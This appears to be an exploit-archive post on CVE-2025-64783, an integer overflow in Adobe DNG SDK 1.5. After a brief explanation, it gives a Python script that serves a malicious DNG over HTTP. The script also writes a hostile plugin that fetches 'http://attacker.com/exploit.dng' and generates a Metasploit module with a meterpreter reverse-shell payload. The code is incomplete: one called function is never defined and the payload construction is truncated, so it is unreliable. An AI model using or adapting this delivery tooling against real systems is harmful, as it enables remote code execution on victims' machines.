Adobe DNG SDK 1.5 Remote Delivery Integer Overflow

The Adobe DNG SDK 1.5 vulnerability was a critical integer The Adobe DNG SDK 1.5 vulnerability was a critical integer overflow, allowing remote attackers to achieve arbitrary code execution.

By crafting a malicious DNG file, an attacker could supply specific metadata values. These values would cause an internal integer calculation within the SDK to overflow. This overflow resulted in an undersized memory buffer being allocated.

When the SDK then attempted to process the larger actual data, it would write beyond the buffer's bounds. This subsequent buffer overflow could be exploited to inject and execute arbitrary code with the privileges of the affected application. Applications integrating DNG SDK 1.5 were vulnerable to this remote attack. Users were advised to update to a patched SDK version to mitigate the risk.

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| # Title : Adobe DNG SDK 1.5 Remote Delivery and Third-Party Exploitation Integer Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://helpx.adobe.com/security/products/dng-sdk.html |
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[+] References : https://packetstorm.news/files/id/212923/ & CVE-2025-64783

[+] Summary : This exploit demonstrates practical real-world exploitation scenarios of the Adobe DNG SDK integer overflow vulnerability (CVE-2025-64783) through third-party applications and network-based delivery mechanisms.

[+] The code includes multiple attack vectors:

An embedded HTTP server that remotely serves a malicious DNG file to vulnerable clients.

A proof-of-concept malicious plugin designed to automatically load and process the crafted DNG file within Adobe Photoshop or Lightroom environments.

A Metasploit module template enabling automated exploitation via a browserless, file-based attack surface.

By serving the crafted DNG image over HTTP or embedding it into plugins and automated workflows, attackers can trigger the vulnerability without requiring valid credentials or authenticated access. Exploitation occurs during image parsing, enabling memory corruption and potential remote code execution under the context of the affected application.

This scenario highlights the elevated risk posed by image-processing vulnerabilities in widely trusted creative software and demonstrates how third-party integrations significantly expand the attack surface.

[+] POC :

Usage: python3 poc.py <mode>

Modes:

1 - Create malicious DNG
2 - Start exploit server
3 - Generate plugin exploit
4 - Generate Metasploit module

#!/usr/bin/env python3
"""
Third-party application exploitation via DNG vulnerability
"""

import socket
import http.server
import threading
import time

class DNGExploitServer:
def __init__(self, host='0.0.0.0', port=8080):
self.host = host
self.port = port
self.malicious_dng = None

def generate_malicious_response(self):
"""Generate HTTP response with malicious DNG"""
with open('exploit.dng', 'rb') as f:
dng_data = f.read()

headers = [
'HTTP/1.1 200 OK',
'Content-Type: image/x-adobe-dng',
f'Content-Length: {len(dng_data)}',
'Connection: close',
'Cache-Control: no-cache',
'\r\n'
]

return b'\r\n'.join([h.encode() for h in headers]) + dng_data

def start_server(self):
"""Start HTTP server to serve malicious DNG"""
class MaliciousHandler(http.server.BaseHTTPRequestHandler):
def do_GET(handler):
handler.send_response(200)
handler.send_header('Content-Type', 'image/x-adobe-dng')
handler.send_header('Content-Length', str(len(self.malicious_dng)))
handler.end_headers()
handler.wfile.write(self.malicious_dng)

def log_message(self, format, *args):
pass # Suppress logs

# Load malicious DNG
with open('exploit.dng', 'rb') as f:
self.malicious_dng = f.read()

server = http.server.HTTPServer((self.host, self.port), MaliciousHandler)
print(f"[*] Malicious DNG server started on http://{self.host}:{self.port}")
print("[*] Serving exploit.dng to trigger CVE-2025-64783")
server.serve_forever()

def exploit_photoshop_plugin():
"""
Exploit Photoshop or Lightroom via plugin vulnerability
"""
print("[*] Targeting Adobe products via DNG vulnerability...")

# Create a malicious plugin that loads DNG
plugin_code = """<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<name>CVE-2025-64783 Exploit</name>
<version>1.0</version>
<description>Malicious plugin triggering DNG vulnerability</description>
<script>
<![CDATA[
// Load malicious DNG file
var dngFile = File("http://attacker.com/exploit.dng");
var doc = app.open(dngFile);

// Trigger processing
doc.process();
]]>
</script>
</plugin>"""

with open('exploit.plugin', 'w') as f:
f.write(plugin_code)

print("[+] Malicious plugin created: exploit.plugin")

def create_metasploit_module():
"""
Generate Metasploit module for CVE-2025-64783
"""
module = """##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe DNG SDK Integer Overflow RCE',
'Description' => %q{
This module exploits an integer overflow vulnerability in Adobe DNG SDK
versions 1.5 through 1.7.0. The vulnerability occurs in the
dng_area_spec::Overlap function, leading to out-of-bounds memory access.
},
'Author' => [
'Brendon Tiszka', # Discovery
'Security Researcher' # Exploit
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-64783'],
['URL', 'https://helpx.adobe.com/security/products/dng-sdk/apsb25-118.html']
],
'DefaultOptions' => {
'SRVPORT' => 8080,
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' => [
['Adobe DNG SDK 1.5 - 1.7.0', {}]
],
'Privileged' => false,
'DisclosureDate' => '2025-12-16',
'DefaultTarget' => 0
))

register_options([
OptString.new('URIPATH', [true, 'The URI to use', '/exploit.dng'])
])
end

def on_request_uri(cli, request)
print_status("Sending malicious DNG to #{cli.peerhost}")

# Generate malicious DNG with payload
dng = generate_dng

send_response(cli, dng, {
'Content-Type' => 'image/x-adobe-dng',
'Pragma' => 'no-cache'
})
end

def generate_dng
# Generate DNG with integer overflow trigger
dng = ""

# TIFF header
dng << [0x4949, 42, 8].pack('vvV')

# Malicious IFD with overflow parameters
ifd = ""
# ... [truncated for brevity]

dng << ifd
dng << construct_payload

dng
end

def exploit
super
end
end
"""

with open('indoushka.rb', 'w') as f:
f.write(module)

print("[+] Metasploit module generated: indoushka.rb")

# Main execution
if __name__ == "__main__":
import sys

if len(sys.argv) < 2:
print("Usage: python3 exploit.py <mode>")
print("Modes:")
print(" 1 - Create malicious DNG")
print(" 2 - Start exploit server")
print(" 3 - Generate plugin exploit")
print(" 4 - Generate Metasploit module")
print(" By indoushka")
sys.exit(1)

mode = sys.argv[1]

if mode == '1':
output = sys.argv[2] if len(sys.argv) > 2 else 'exploit.dng'
create_malicious_dng(output)

elif mode == '2':
server = DNGExploitServer()
server.start_server()

elif mode == '3':
exploit_photoshop_plugin()

elif mode == '4':
create_metasploit_module()

else:
print("Invalid mode")

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